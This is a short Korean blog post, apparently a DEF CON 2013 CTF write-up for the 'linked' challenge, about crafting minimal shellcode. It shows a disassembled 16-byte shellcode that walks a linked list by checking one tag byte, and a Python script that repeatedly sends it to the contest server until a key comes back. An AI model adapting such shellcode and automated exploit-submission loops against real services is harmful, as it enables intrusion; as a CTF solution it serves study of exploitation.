본문 바로가기

Computer Security/CTF

[defcon 2013] \xff\xe4\xcc, linked, exploit

쉘코드 숏코드 만들기 문제


다른팀들은 대부분 tag의 2바이트 정도를 확인하는 식으로 한것 같은데,


난 생각이 안나서, 그냥 tag의 1바이트만 체크하는 식으로 루프를 돌려서 대략 2시간쯤 걸린듯 하다.


00000000  59                pop ecx
00000001  5B                pop ebx
00000002  51                push ecx
00000003  8B1B              mov ebx,[ebx]
00000005  8B4304            mov eax,[ebx+0x4]
00000008  3C00              cmp al,0x0
0000000A  8D4308            lea eax,[ebx+0x8]
0000000D  75F4              jnz 0x3
0000000F  C3                ret



from socket import * import time     while True: s = socket(AF_INET, SOCK_STREAM) s.connect(('linked2.shallweplayaga.me',22222)) stime = time.time() print "go" print s.recv(1024) s.send("\x59\x5b\x51\x8b\x1b\x8b\x43\x04\x3c\x00\x8d\x43\x08\x75\xf4\xc3") etime = time.time() print (etime-stime) get= s.recv(1024) print get s.close() if ("Key" in get) or ("key" in get) or ("KEY" in get): print "found" f=open('key','w') f.write(get) f.close() break